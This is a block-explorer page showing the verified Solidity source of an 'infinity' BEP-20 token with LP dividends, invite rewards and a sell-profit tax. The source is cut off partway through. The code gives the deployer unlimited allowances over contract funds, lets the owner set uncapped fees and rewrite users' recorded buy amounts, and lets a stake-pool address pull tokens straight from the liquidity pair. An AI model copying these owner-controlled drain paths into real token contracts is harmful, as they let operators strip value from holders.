BNB Price: $617.88 (+3.43%)
 

Overview

Max Total Supply

21,000,000infinity

Holders

8,986

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1 infinity

Value
$0.00
0xa8aCdd81F46633b69AcB6ec5c16Ee7E00cc8938D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
infinity

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at BscScan.com on 2024-11-06
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
}

interface ISwapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function feeTo() external view returns (address);
}

interface ISwapPair {
    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function totalSupply() external view returns (uint);

    function kLast() external view returns (uint);

    function sync() external;
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!o");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "n0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library Math {
    function min(uint x, uint y) internal pure returns (uint z) {
        z = x < y ? x : y;
    }

    function sqrt(uint y) internal pure returns (uint z) {
        if (y > 3) {
            z = y;
            uint x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }
}

contract TokenDistributor {
    constructor(address usdt) {
        IERC20(usdt).approve(msg.sender, ~uint256(0));
        IERC20(usdt).approve(tx.origin, ~uint256(0));
    }
}

abstract contract AbsToken is IERC20, Ownable {
    struct UserInfo {
        uint256 lpAmount;
        uint256 preLPAmount;
    }

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;
    address public fund2Address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _feeWhiteList;

    uint256 private _tTotal;

    ISwapRouter private immutable _swapRouter;
    address private immutable _usdt;
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyLPDividendFee = 100;
    uint256 public _buyLPFee = 0;
    uint256 public _buyFundFee = 100;
    uint256 public _buyFund2Fee = 0;

    uint256 public _sellLPDividendFee = 100;
    uint256 public _sellLPFee = 0;
    uint256 public _sellFundFee = 100;
    uint256 public _sellFund2Fee = 0;

    uint256 public startTradeBlock;
    uint256 public startAddLPBlock;

    address public immutable _mainPair;

    uint256 private constant _killBlock = 0;
    mapping(address => UserInfo) private _userInfo;

    mapping(address => bool) public _swapRouters;
    bool public _strictCheck = true;
    uint256 public _limitAmount;
    TokenDistributor public immutable _usdtDistributor;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(
        address RouterAddress,
        address USDTAddress,
        string memory Name,
        string memory Symbol,
        uint8 Decimals,
        uint256 Supply,
        address ReceiveAddress,
        address FundAddress,
        uint256 LimitAmount,
        address SpecialAddress,
        address Fund2Address
    ) {
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;

        ISwapRouter swapRouter = ISwapRouter(RouterAddress);
        _usdt = USDTAddress;
        require(address(this) > _usdt, "s");

        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;
        _swapRouters[address(swapRouter)] = true;
        IERC20(_usdt).approve(address(swapRouter), MAX);
        IERC20(_usdt).approve(tx.origin, MAX);
        _allowances[address(this)][tx.origin] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address pair = swapFactory.createPair(address(this), _usdt);
        _swapPairList[pair] = true;
        _mainPair = pair;

        uint256 tokenUnit = 10 ** Decimals;
        uint256 total = Supply * tokenUnit;
        _tTotal = total;

        _balances[ReceiveAddress] = total;
        emit Transfer(address(0), ReceiveAddress, total);

        fundAddress = FundAddress;

        _feeWhiteList[FundAddress] = true;
        _feeWhiteList[ReceiveAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[msg.sender] = true;
        _feeWhiteList[address(0)] = true;
        _feeWhiteList[
            address(0x000000000000000000000000000000000000dEaD)
        ] = true;

        uint256 usdtUnit = 10 ** IERC20(_usdt).decimals();
        lpRewardCondition = 100 * usdtUnit;
        _userInfo[FundAddress].lpAmount = MAX / 10;
        _addLpProvider(FundAddress);
        _limitAmount = LimitAmount;
        _usdtDistributor = new TokenDistributor(_usdt);

        specialAddress = SpecialAddress;
        _feeWhiteList[SpecialAddress] = true;

        fund2Address = Fund2Address;
        _feeWhiteList[Fund2Address] = true;

        _startBuyCondition = 5000000 * usdtUnit;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        uint256 balance = _balances[account];
        return balance;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        _checkStartBuy();
        require(
            !_blackList[from] || _feeWhiteList[from] || _swapPairList[from],
            "blackList"
        );

        uint256 balance = balanceOf(from);
        require(balance >= amount, "BNE");
        address txOrigin = tx.origin;
        uint256 blockNum = block.number;
        if (
            !_feeWhiteList[txOrigin] && (from == _mainPair || to == _mainPair)
        ) {
            uint256 limitAmount = _limitAmount;
            if (0 < limitAmount) {
                _blockTxAmount[blockNum][txOrigin] += amount;
                (, uint256 rToken) = __getReserves();
                limitAmount = (rToken * limitAmount) / 10000;
                require(
                    limitAmount >= _blockTxAmount[blockNum][txOrigin],
                    "Limit"
                );
            }
        }

        if (from == _stakePool || to == _stakePool) {
            _standTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            if (address(_swapRouter) != from) {
                uint256 maxSellAmount = (balance * 999) / 1000;
                if (amount > maxSellAmount) {
                    amount = maxSellAmount;
                }
                takeFee = true;
            }
        }

        UserInfo storage userInfo;
        uint256 addLPLiquidity;
        if (
            to == _mainPair &&
            address(_swapRouter) == msg.sender &&
            txOrigin == from
        ) {
            addLPLiquidity = _isAddLiquidity(amount);
            if (addLPLiquidity > 0) {
                userInfo = _userInfo[txOrigin];
                userInfo.lpAmount += addLPLiquidity;
                if (0 == startTradeBlock) {
                    userInfo.preLPAmount += addLPLiquidity;
                }
            }
        }

        uint256 removeLPLiquidity;
        if (from == _mainPair) {
            removeLPLiquidity = _isRemoveLiquidity(amount);
            if (removeLPLiquidity > 0) {
                require(_userInfo[txOrigin].lpAmount >= removeLPLiquidity);
                _userInfo[txOrigin].lpAmount -= removeLPLiquidity;
                if (_feeWhiteList[txOrigin]) {
                    takeFee = false;
                }
            }
        }

        if (_swapPairList[from] || _swapPairList[to]) {
            if (0 == startAddLPBlock) {
                if (_feeWhiteList[from] && to == _mainPair) {
                    startAddLPBlock = block.number;
                }
            }

            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (0 == startTradeBlock) {
                    require(
                        0 < startAddLPBlock &&
                            (addLPLiquidity > 0 || _buyList[to])
                    );
                } else {
                    if (
                        0 == addLPLiquidity &&
                        0 == removeLPLiquidity &&
                        blockNum < startTradeBlock + _killBlock
                    ) {
                        _killTransfer(from, to, amount, 99);
                        return;
                    }
                }
            }
        }

        _tokenTransfer(
            from,
            to,
            amount,
            takeFee,
            addLPLiquidity,
            removeLPLiquidity
        );

        if (from != address(this)) {
            if (addLPLiquidity > 0) {
                _addLpProvider(from);
            } else if (takeFee) {
                uint256 rewardGas = _rewardGas;
                processLPReward((rewardGas * 100) / 100);
            }
        }
    }

    function _isAddLiquidity(
        uint256 amount
    ) internal view returns (uint256 liquidity) {
        (uint256 rOther, uint256 rThis, uint256 balanceOther) = _getReserves();
        uint256 amountOther;
        if (rOther > 0 && rThis > 0) {
            amountOther = (amount * rOther) / rThis;
        }
        if (balanceOther >= rOther + amountOther) {
            (liquidity, ) = calLiquidity(balanceOther, amount, rOther, rThis);
        }
    }

    function _isRemoveLiquidity(
        uint256 amount
    ) internal view returns (uint256 liquidity) {
        (uint256 rOther, uint256 rThis, uint256 balanceOther) = _getReserves();
        if (balanceOther < rOther) {
            liquidity =
                (amount * ISwapPair(_mainPair).totalSupply()) /
                (balanceOf(_mainPair) - amount);
        } else if (_strictCheck) {
            uint256 amountOther;
            if (rOther > 0 && rThis > 0) {
                amountOther = (amount * rOther) / (rThis - amount);
                require(balanceOther >= amountOther + rOther);
            }
        }
    }

    function calLiquidity(
        uint256 balanceA,
        uint256 amount,
        uint256 r0,
        uint256 r1
    ) private view returns (uint256 liquidity, uint256 feeToLiquidity) {
        uint256 pairTotalSupply = ISwapPair(_mainPair).totalSupply();
        address feeTo = ISwapFactory(_swapRouter.factory()).feeTo();
        bool feeOn = feeTo != address(0);
        uint256 _kLast = ISwapPair(_mainPair).kLast();
        if (feeOn) {
            if (_kLast != 0) {
                uint256 rootK = Math.sqrt(r0 * r1);
                uint256 rootKLast = Math.sqrt(_kLast);
                if (rootK > rootKLast) {
                    uint256 numerator;
                    uint256 denominator;
                    if (
                        address(_swapRouter) ==
                        address(0x10ED43C718714eb63d5aA57B78B54704E256024E)
                    ) {
                        // BSC Pancake
                        numerator = pairTotalSupply * (rootK - rootKLast) * 8;
                        denominator = rootK * 17 + (rootKLast * 8);
                    } else if (
                        address(_swapRouter) ==
                        address(0xD99D1c33F9fC3444f8101754aBC46c52416550D1)
                    ) {
                        //BSC testnet Pancake
                        numerator = pairTotalSupply * (rootK - rootKLast);
                        denominator = rootK * 3 + rootKLast;
                    } else if (
                        address(_swapRouter) ==
                        address(0xE9d6f80028671279a28790bb4007B10B0595Def1)
                    ) {
                        //PG W3Swap
                        numerator = pairTotalSupply * (rootK - rootKLast) * 3;
                        denominator = rootK * 5 + rootKLast;
                    } else {
                        //SushiSwap,UniSwap,OK Cherry Swap
                        numerator = pairTotalSupply * (rootK - rootKLast);
                        denominator = rootK * 5 + rootKLast;
                    }
                    feeToLiquidity = numerator / denominator;
                    if (feeToLiquidity > 0) pairTotalSupply += feeToLiquidity;
                }
            }
        }
        uint256 amount0 = balanceA - r0;
        if (pairTotalSupply == 0) {
            liquidity = Math.sqrt(amount0 * amount) - 1000;
        } else {
            liquidity = Math.min(
                (amount0 * pairTotalSupply) / r0,
                (amount * pairTotalSupply) / r1
            );
        }
    }

    function _getReserves()
        public
        view
        returns (uint256 rOther, uint256 rThis, uint256 balanceOther)
    {
        (rOther, rThis) = __getReserves();
        balanceOther = IERC20(_usdt).balanceOf(_mainPair);
    }

    function __getReserves()
        public
        view
        returns (uint256 rOther, uint256 rThis)
    {
        ISwapPair mainPair = ISwapPair(_mainPair);
        (uint r0, uint256 r1, ) = mainPair.getReserves();

        address tokenOther = _usdt;
        if (tokenOther < address(this)) {
            rOther = r0;
            rThis = r1;
        } else {
            rOther = r1;
            rThis = r0;
        }
    }

    function _killTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        uint256 fee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = (tAmount * fee) / 100;
        if (feeAmount > 0) {
            _takeTransfer(sender, fundAddress, feeAmount);
        }
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _standTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        _takeTransfer(sender, recipient, tAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        uint256 addLPLiquidity,
        uint256 removeLPLiquidity
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;
        address txOri = tx.origin;

        bool isSell;
        uint256 destroyFeeAmount;
        uint256 swapFeeAmount;
        if (addLPLiquidity > 0) {} else if (removeLPLiquidity > 0) {
            if (takeFee) {
                feeAmount += _calRemoveFeeAmount(
                    sender,
                    tAmount,
                    removeLPLiquidity
                );
            }
        } else if (_swapPairList[sender]) {
            //Buy
            if (takeFee) {
                require(_startBuy);
                swapFeeAmount =
                    (tAmount *
                        (_buyLPDividendFee +
                            _buyLPFee +
                            _buyFundFee +
                            _buyFund2Fee)) /
                    10000;
            }

            //buyUsdtAmount
            address[] memory path = new address[](2);
            path[0] = _usdt;
            path[1] = address(this);
            uint[] memory amounts = _swapRouter.getAmountsIn(tAmount, path);
            _buyUsdtAmount[txOri] += amounts[0];
            _swapBuyUsdtAmount[txOri] += amounts[0];
            if (takeFee && 0 == startTradeBlock) {
                require(!_preBuy[recipient]);
                _preBuy[recipient] = true;
                require(
                    tAmount - swapFeeAmount - destroyFeeAmount <=
                        _preLimitAmount
                );
            }
        } else if (_swapPairList[recipient]) {
            isSell = true;
            //Sell
            if (takeFee) {
                swapFeeAmount =
                    (tAmount *
                        (_sellLPDividendFee +
                            _sellLPFee +
                            _sellFundFee +
                            _sellFund2Fee)) /
                    10000;
            }
        } else {
            //Transfer
            swapFeeAmount = (tAmount * _transferFee) / 10000;
        }
        if (destroyFeeAmount > 0) {
            feeAmount += destroyFeeAmount;
            _takeTransfer(sender, address(0xdead), destroyFeeAmount);
        }
        if (swapFeeAmount > 0) {
            feeAmount += swapFeeAmount;
            _takeTransfer(sender, address(this), swapFeeAmount);
        }

        if (isSell && !inSwap) {
            if (takeFee) {
                uint256 contractTokenBalance = balanceOf(address(this));
                uint256 numTokensSellToFund = (swapFeeAmount * 230) / 100;
                if (numTokensSellToFund > contractTokenBalance) {
                    numTokensSellToFund = contractTokenBalance;
                }
                uint256 profitFeeAmount = _calProfitFeeAmount(
                    tAmount - feeAmount
                );

                if (profitFeeAmount > 0) {
                    feeAmount += profitFeeAmount;
                    _takeTransfer(sender, address(this), profitFeeAmount);
                }
                swapTokenForFund(numTokensSellToFund, profitFeeAmount);
            }
            _swapSellUsdtAmount[txOri] += _calSellUsdt(tAmount - feeAmount);
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    uint256 public _removeLPFee = 200;
    uint256 public _removePreLPFee = 10000;

    function _calRemoveFeeAmount(
        address sender,
        uint256 tAmount,
        uint256 removeLPLiquidity
    ) private returns (uint256 feeAmount) {
        UserInfo storage userInfo = _userInfo[tx.origin];
        uint256 selfLPAmount = userInfo.lpAmount +
            removeLPLiquidity -
            userInfo.preLPAmount;
        uint256 removeLockLPAmount = removeLPLiquidity;
        uint256 removeSelfLPAmount = removeLPLiquidity;
        if (removeLPLiquidity > selfLPAmount) {
            removeSelfLPAmount = selfLPAmount;
        }
        uint256 lpFeeAmount;
        if (removeSelfLPAmount > 0) {
            removeLockLPAmount -= removeSelfLPAmount;
            lpFeeAmount =
                (((tAmount * removeSelfLPAmount) / removeLPLiquidity) *
                    _removeLPFee) /
                10000;
            feeAmount += lpFeeAmount;
            if (lpFeeAmount > 0) {
                _takeTransfer(sender, address(this), lpFeeAmount);
            }
        }
        uint256 destroyFeeAmount = (((tAmount * removeLockLPAmount) /
            removeLPLiquidity) * _removePreLPFee) / 10000;
        if (destroyFeeAmount > 0) {
            feeAmount += destroyFeeAmount;
            _takeTransfer(sender, address(0xdead), destroyFeeAmount);
        }
        userInfo.preLPAmount -= removeLockLPAmount;
    }

    function swapTokenForFund(
        uint256 tokenAmount,
        uint256 profitFeeAmount
    ) private lockTheSwap {
        if (0 == tokenAmount && 0 == profitFeeAmount) {
            return;
        }
        uint256 lpFee = _buyLPFee + _sellLPFee;
        uint256 fundFee = _buyFundFee + _sellFundFee;
        uint256 fund2Fee = _buyFund2Fee + _sellFund2Fee;
        uint256 totalFee = lpFee +
            _buyLPDividendFee +
            _sellLPDividendFee +
            fundFee +
            fund2Fee;
        totalFee += totalFee;
        uint256 lpTokenAmount;
        if (lpFee > 0) {
            lpTokenAmount = (tokenAmount * lpFee) / totalFee;
            tokenAmount -= lpTokenAmount;
            totalFee -= lpFee;
        }

        tokenAmount += profitFeeAmount;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _usdt;
        uint256 usdtBalance = IERC20(_usdt).balanceOf(
            address(_usdtDistributor)
        );
        _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(_usdtDistributor),
            block.timestamp
        );
        usdtBalance =
            IERC20(_usdt).balanceOf(address(_usdtDistributor)) -
            usdtBalance;

        uint256 contractUsdt = (usdtBalance * profitFeeAmount) / tokenAmount;
        uint256 lpUsdtAmount = (usdtBalance * lpTokenAmount) / tokenAmount;
        usdtBalance -= contractUsdt;

        _safeTransferFrom(
            _usdt,
            address(_usdtDistributor),
            address(this),
            usdtBalance + contractUsdt
        );

        if (usdtBalance > 0) {
            uint256 fundUsdt = (usdtBalance * 2 * fundFee) / totalFee;
            if (fundUsdt > 0) {
                _safeTransfer(_usdt, fundAddress, fundUsdt);
            }
            fundUsdt = (usdtBalance * 2 * fund2Fee) / totalFee;
            if (fundUsdt > 0) {
                _safeTransfer(_usdt, fund2Address, fundUsdt);
            }
        }

        if (contractUsdt > 0) {
            uint256 inviteUsdt = (contractUsdt * _sellProfitInviteFee) /
                _sellProfitFee;
            if (inviteUsdt > 0) {
                address invitor = _inviter[tx.origin];
                if (address(0) == invitor || excludeInvitor[invitor]) {
                    invitor = specialAddress;
                }
                _safeTransfer(_usdt, invitor, inviteUsdt);
            }
            uint256 specialUsdt = (contractUsdt * _sellProfitSpecialFee) /
                _sellProfitFee;
            if (specialUsdt > 0) {
                _safeTransfer(_usdt, specialAddress, specialUsdt);
            }
        }
        if (lpUsdtAmount > 0 && lpTokenAmount > 0) {
            _swapRouter.addLiquidity(
                address(this),
                _usdt,
                lpTokenAmount,
                lpUsdtAmount,
                0,
                0,
                fundAddress,
                block.timestamp
            );
        }
    }

    mapping(address => uint256) public _buyUsdtAmount;
    uint256 public _sellProfitFee = 2000;
    uint256 public _sellProfitInviteFee = 1000;
    uint256 public _sellProfitSpecialFee = 0;

    function _calProfitFeeAmount(
        uint256 realSellAmount
    ) private returns (uint256 profitFeeAmount) {
        address sender = tx.origin;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _usdt;
        uint[] memory amounts = _swapRouter.getAmountsOut(realSellAmount, path);
        uint256 usdtAmount = amounts[amounts.length - 1];

        uint256 buyUsdtAmount = _buyUsdtAmount[sender];
        uint256 profitUsdt;
        if (usdtAmount > buyUsdtAmount) {
            _buyUsdtAmount[sender] = 0;
            profitUsdt = usdtAmount - buyUsdtAmount;
            uint256 profitAmount = (realSellAmount * profitUsdt) / usdtAmount;
            profitFeeAmount = (profitAmount * _sellProfitFee) / 10000;
        } else {
            _buyUsdtAmount[sender] -= usdtAmount;
        }
    }

    function _calSellUsdt(
        uint256 realSellAmount
    ) private view returns (uint256 sellUsdt) {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _usdt;
        uint[] memory amounts = _swapRouter.getAmountsOut(realSellAmount, path);
        sellUsdt = amounts[amounts.length - 1];
    }

    function setProfitFee(
        uint256 profitFee,
        uint256 inviteFee,
        uint256 specialFee
    ) public onlyOwner {
        _sellProfitFee = profitFee;
        _sellProfitInviteFee = inviteFee;
        _sellProfitSpecialFee = specialFee;
    }

    function updateBuyAmount(
        address account,
        uint256 usdtAmount
    ) public onlyOwner {
        _buyUsdtAmount[account] = usdtAmount;
    }

    function updateBuysAmount(
        address[] memory accounts,
        uint256 usdtAmount
    ) public onlyOwner {
        for (uint i = 0; i < accounts.length; i++) {
            _buyUsdtAmount[accounts[i]] = usdtAmount;
        }
    }

    function updateBuysAmounts(
        address[] memory accounts,
        uint256[] memory usdtAmounts
    ) public onlyOwner {
        for (uint i = 0; i < accounts.length; i++) {
            _buyUsdtAmount[accounts[i]] = usdtAmounts[i];
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setFundAddress(address addr) external onlyOwner {
        fundAddress = addr;
        _feeWhiteList[addr] = true;
        _userInfo[fundAddress].lpAmount = MAX / 10;
    }

    function setLimitAmount(uint256 amount) external onlyOwner {
        _limitAmount = amount;
    }

    function setBuyFee(
        uint256 lpDividendFee,
        uint256 lpFee,
        uint256 fundFee,
        uint256 fund2Fee
    ) external onlyOwner {
        _buyLPDividendFee = lpDividendFee;
        _buyLPFee = lpFee;
        _buyFundFee = fundFee;
        _buyFund2Fee = fund2Fee;
    }

    function setSellFee(
        uint256 lpDividendFee,
        uint256 lpFee,
        uint256 fundFee,
        uint256 fund2Fee
    ) external onlyOwner {
        _sellLPDividendFee = lpDividendFee;
        _sellLPFee = lpFee;
        _sellFundFee = fundFee;
        _sellFund2Fee = fund2Fee;
    }

    uint256 public _transferFee = 0;

    function setTransferFee(uint256 fee) external onlyOwner {
        _transferFee = fee;
    }

    function setRemoveLPFee(uint256 fee) external onlyOwner {
        _removeLPFee = fee;
    }

    function setRemovePreLPFee(uint256 fee) external onlyOwner {
        _removePreLPFee = fee;
    }

    function startTrade() external onlyOwner {
        require(0 == startTradeBlock, "trading");
        startTradeBlock = block.number;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyOwner {
        _feeWhiteList[addr] = enable;
    }

    function batchSetFeeWhiteList(
        address[] memory addr,
        bool enable
    ) external onlyOwner {
        for (uint i = 0; i < addr.length; i++) {
            _feeWhiteList[addr[i]] = enable;
        }
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

    function claimBalance(uint256 amount) external {
        if (_feeWhiteList[msg.sender]) {
            payable(fundAddress).transfer(amount);
        }
    }

    function claimToken(address token, uint256 amount) external {
        if (_feeWhiteList[msg.sender]) {
            IERC20(token).transfer(fundAddress, amount);
        }
    }

    receive() external payable {}

    function updateLPAmount(
        address account,
        uint256 lpAmount
    ) public onlyOwner {
        UserInfo storage userInfo = _userInfo[account];
        userInfo.lpAmount = lpAmount;
        _addLpProvider(account);
    }

    function getUserInfo(
        address account
    )
        public
        view
        returns (
            uint256 lpAmount,
            uint256 lpBalance,
            bool excludeLP,
            uint256 preLPAmount
        )
    {
        lpBalance = IERC20(_mainPair).balanceOf(account);
        excludeLP = excludeLpProvider[account];
        UserInfo storage userInfo = _userInfo[account];
        lpAmount = userInfo.lpAmount;
        preLPAmount = userInfo.preLPAmount;
    }

    function initLPAmounts(
        address[] memory accounts,
        uint256 lpAmount
    ) public onlyOwner {
        uint256 len = accounts.length;
        address account;
        UserInfo storage userInfo;
        for (uint256 i; i < len; ) {
            account = accounts[i];
            userInfo = _userInfo[account];
            userInfo.lpAmount = lpAmount;
            userInfo.preLPAmount = lpAmount;
            _addLpProvider(account);
            unchecked {
                ++i;
            }
        }
    }

    function batchInitLPAmounts(
        address[] memory accounts,
        uint256[] memory lpAmounts
    ) public onlyOwner {
        uint256 len = accounts.length;
        address account;
        UserInfo storage userInfo;
        for (uint256 i; i < len; ) {
            account = accounts[i];
            userInfo = _userInfo[account];
            userInfo.lpAmount = lpAmounts[i];
            userInfo.preLPAmount = lpAmounts[i];
            _addLpProvider(account);
            unchecked {
                ++i;
            }
        }
    }

    function setSwapRouter(address addr, bool enable) external onlyOwner {
        _swapRouters[addr] = enable;
    }

    function setStrictCheck(bool enable) external onlyOwner {
        _strictCheck = enable;
    }

    uint256 public _rewardGas = 800000;

    function setRewardGas(uint256 rewardGas) external onlyOwner {
        require(rewardGas >= 200000 && rewardGas <= 2000000, "20-200w");
        _rewardGas = rewardGas;
    }

    address[] public lpProviders;
    mapping(address => uint256) public lpProviderIndex;
    mapping(address => bool) public excludeLpProvider;

    function getLPProviderLength() public view returns (uint256) {
        return lpProviders.length;
    }

    function _addLpProvider(address adr) private {
        if (0 == lpProviderIndex[adr]) {
            if (0 == lpProviders.length || lpProviders[0] != adr) {
                uint256 size;
                assembly {
                    size := extcodesize(adr)
                }
                if (size > 0) {
                    return;
                }
                lpProviderIndex[adr] = lpProviders.length;
                lpProviders.push(adr);
            }
        }
    }

    function setExcludeLPProvider(
        address addr,
        bool enable
    ) external onlyOwner {
        excludeLpProvider[addr] = enable;
    }

    uint256 public currentLPIndex;
    uint256 public lpRewardCondition;
    uint256 public lpHoldCondition = 1000000000;

    function processLPReward(uint256 gas) private {
        uint256 rewardCondition = lpRewardCondition;
        if (IERC20(_usdt).balanceOf(address(this)) < rewardCondition) {
            return;
        }
        IERC20 holdToken = IERC20(_mainPair);
        uint holdTokenTotal = holdToken.totalSupply() -
            holdToken.balanceOf(address(0xdead)) -
            holdToken.balanceOf(_lockAddress);
        if (0 == holdTokenTotal) {
            return;
        }

        address shareHolder;
        uint256 pairBalance;
        uint256 amount;

        uint256 shareholderCount = lpProviders.length;

        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();
        uint256 lpCondition = lpHoldCondition;

        while (gasUsed < gas && iterations < shareholderCount) {
            if (currentLPIndex >= shareholderCount) {
                currentLPIndex = 0;
            }
            shareHolder = lpProviders[currentLPIndex];
            if (!excludeLpProvider[shareHolder]) {
                pairBalance = holdToken.balanceOf(shareHolder);
                uint256 lpAmount = _userInfo[shareHolder].lpAmount;
                if (lpAmount < pairBalance) {
                    pairBalance = lpAmount;
                }
                if (pairBalance >= lpCondition) {
                    amount = (rewardCondition * pairBalance) / holdTokenTotal;
                    if (amount > 0) {
                        _safeTransfer(_usdt, shareHolder, amount);
                    }
                }
            }

            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentLPIndex++;
            iterations++;
        }
    }

    function _safeTransfer(address token, address to, uint value) internal {
        (bool success, bytes memory data) = token.call(
            abi.encodeWithSelector(0xa9059cbb, to, value)
        );
        if (success && data.length > 0) {}
    }

    function setLPHoldCondition(uint256 amount) external onlyOwner {
        lpHoldCondition = amount;
    }

    function setLPRewardCondition(uint256 amount) external onlyOwner {
        lpRewardCondition = amount;
    }

    address public _lockAddress;

    function setLockAddress(address addr) external onlyOwner {
        _lockAddress = addr;
        excludeLpProvider[addr] = true;
    }

    address public _stakePool;
    function setStakePool(address addr) external onlyOwner {
        _stakePool = addr;
    }

    mapping(address => uint256) public _swapBuyUsdtAmount;
    mapping(address => uint256) public _swapSellUsdtAmount;

    mapping(address => address) public _inviter;
    mapping(address => address[]) public _binders;
    mapping(address => bool) public excludeInvitor;

    function _bindInvitor(address account, address invitor) private {
        if (
            _inviter[account] == address(0) &&
            invitor != address(0) &&
            account != address(0) &&
            invitor != account
        ) {
            if (_binders[account].length == 0) {
                uint256 size;
                assembly {
                    size := extcodesize(invitor)
                }
                if (size > 0) {
                    return;
                }
                size;
                assembly {
                    size := extcodesize(account)
                }
                if (size > 0) {
                    return;
                }
                _inviter[account] = invitor;
                _binders[invitor].push(account);
            }
        }
    }

    function bindInvitor(address account, address invitor) public {
        require(msg.sender == _stakePool, "rq stake");
        _bindInvitor(account, invitor);
    }

    function stakeSync(uint256 amount) public {
        require(msg.sender == _stakePool, "rq stake");
        _standTransfer(_mainPair, _stakePool, amount);
        ISwapPair(_mainPair).sync();
    }

    function addBuyUsdtAmout(address account, uint256 amount) public {
        require(msg.sender == _stakePool, "rq stake");
        _buyUsdtAmount[account] += amount;
        _swapBuyUsdtAmount[account] += amount;
    }

    function getBinderLength(address account) external view returns (uint256) {
